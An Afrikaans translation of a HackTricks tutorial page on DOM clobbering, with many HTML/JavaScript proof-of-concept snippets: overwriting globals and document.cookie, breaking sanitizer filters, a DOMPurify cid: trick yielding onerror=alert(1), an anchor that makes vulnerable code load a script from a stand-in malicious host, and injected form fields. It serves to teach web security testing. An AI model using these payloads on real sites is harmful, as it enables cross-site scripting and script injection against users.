Dom Clobbering

Reading time: 9 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese beginsels

Dit is moontlik om globale veranderlikes binne die JS-konteks te genereer met die eienskappe id en name in HTML-tags.

html
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>

Slegs sekere elemente kan die naam attribuut gebruik om globals te clobber, hulle is: embed, form, iframe, image, img en object.

Interessant genoeg, wanneer jy 'n form element gebruik om 'n veranderlike te clobber, sal jy die toString waarde van die element self kry: [object HTMLFormElement] maar met anker sal die toString die anker href wees. Daarom, as jy clobber met die a tag, kan jy die waarde beheer wanneer dit as 'n string behandel word:

html
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>

Arrays & Attributes

Dit is ook moontlik om 'n array en objek eienskappe te clobber:

html
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>

Om 'n 3de attribuut (bv. x.y.z) te oorskry, moet jy 'n form gebruik:

html
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>

Clobbering meer eienskappe is meer ingewikkeld maar steeds moontlik, met behulp van iframes:

html
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>

warning

Die style-tag word gebruik om genoeg tyd aan die iframe te gee om te render. Sonder dit sal jy 'n waarskuwing van undefined vind.

Om dieper eienskappe te klobber, kan jy iframes met html-kodering op hierdie manier gebruik:

html
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>

Filter Omseiling

As 'n filter deur die eienskappe van 'n knoop loop met iets soos document.getElementByID('x').attributes, kan jy die attribuut .attributes clobber en die filter breek. Ander DOM-eienskappe soos tagName, nodeName of parentNode en meer is ook clobberable.

html
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>

Clobbering window.someObject

In JavaScript is dit algemeen om te vind:

javascript
var someObject = window.someObject || {}

Die manipulasie van HTML op die bladsy laat toe om someObject met 'n DOM-knoop te oorskry, wat moontlik sekuriteitskwesies kan inbring. Byvoorbeeld, jy kan someObject vervang met 'n anker-element wat na 'n kwaadwillige skrip wys:

html
<a id=someObject href=//malicious-website.com/malicious.js></a>

In 'n kwesbare kode soos:

html
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>

Hierdie metode benut die skripbron om ongewenste kode uit te voer.

Trick: DOMPurify laat jou toe om die cid: protokol te gebruik, wat nie URL-encodeer dubbele aanhalings nie. Dit beteken jy kan 'n geënkodeerde dubbele aanhaling inspuit wat tydens uitvoering gedecodeer sal word. Daarom sal die inspuiting van iets soos <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//"> die HTML geënkodeerde &quot; tydens uitvoering gedecodeer maak en ontsnap van die attribuutwaarde om die onerror gebeurtenis te skep.

'n Ander tegniek gebruik 'n form element. Sekere kliënt-kant biblioteke ondersoek die attribuut van 'n nuut geskepte form element om dit skoon te maak. Deur egter 'n input met id=attributes binne die vorm by te voeg, oorskry jy effektief die attribuut eienskap, wat verhoed dat die sanitizer toegang tot die werklike attribuut het.

Jy kan 'n voorbeeld van hierdie tipe clobbering in hierdie CTF skrywe vind.

Clobbering dokument objek

Volgens die dokumentasie is dit moontlik om attribuut van die dokument objek te oorskry deur DOM Clobbering:

Die Document koppelvlak ondersteun naamgegewe eienskappe. Die ondersteunde eienskapname van 'n Document objek dokument op enige oomblik bestaan uit die volgende, in boomorde volgens die element wat dit bygedra het, terwyl latere duplikate geïgnoreer word, en met waardes van id attribuut wat voor waardes van naam attribuut kom wanneer dieselfde element albei bydra:

- Die waarde van die naam inhoud attribuut vir alle exposed embed, form, iframe, img, en exposed object elemente wat 'n nie-leë naam inhoud attribuut het en in 'n dokumentboom met dokument as hul wortel is;

- Die waarde van die id inhoud attribuut vir alle exposed object elemente wat 'n nie-leë id inhoud attribuut het en in 'n dokumentboom met dokument as hul wortel is;

- Die waarde van die id inhoud attribuut vir alle img elemente wat albei 'n nie-leë id inhoud attribuut en 'n nie-leë naam inhoud attribuut het, en in 'n dokumentboom met dokument as hul wortel is.

Deur hierdie tegniek te gebruik, kan jy algemeen gebruikte waardes soos document.cookie, document.body, document.children, en selfs metodes in die Document koppelvlak soos document.querySelector oorskry.

javascript
document.write("<img name=cookie />")

document.cookie
<img name="cookie">

typeof(document.cookie)
'object'

//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")

document.cookie
HTMLCollection(2) [img, form, cookie: img]

typeof(document.cookie)
'object

Skryf na die element wat geklobber is

Die resultate van oproepe na document.getElementById() en document.querySelector() kan verander word deur 'n <html> of <body> tag met 'n identiese id attribuut in te spuit. Hier is hoe dit gedoen kan word:

html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>

Verder, deur style te gebruik om hierdie ingeslote HTML/body-tags te verberg, kan inmenging van ander teks in die innerText voorkom word, wat die doeltreffendheid van die aanval verbeter:

html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Ondersoeke na SVG het onthul dat 'n <body>-tag ook effektief gebruik kan word:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Vir die HTML-tag om binne SVG in blaaiers soos Chrome en Firefox te funksioneer, is 'n <foreignobject>-tag nodig:

html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>

Clobbering Forms

Dit is moontlik om nuwe inskrywings binne 'n vorm by te voeg net deur die form attribuut binne sommige tags te spesifiseer. Jy kan dit gebruik om nuwe waardes binne 'n vorm by te voeg en selfs 'n nuwe knoppie te voeg om dit te stuur (clickjacking of om sommige .click() JS kode te misbruik):

html
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks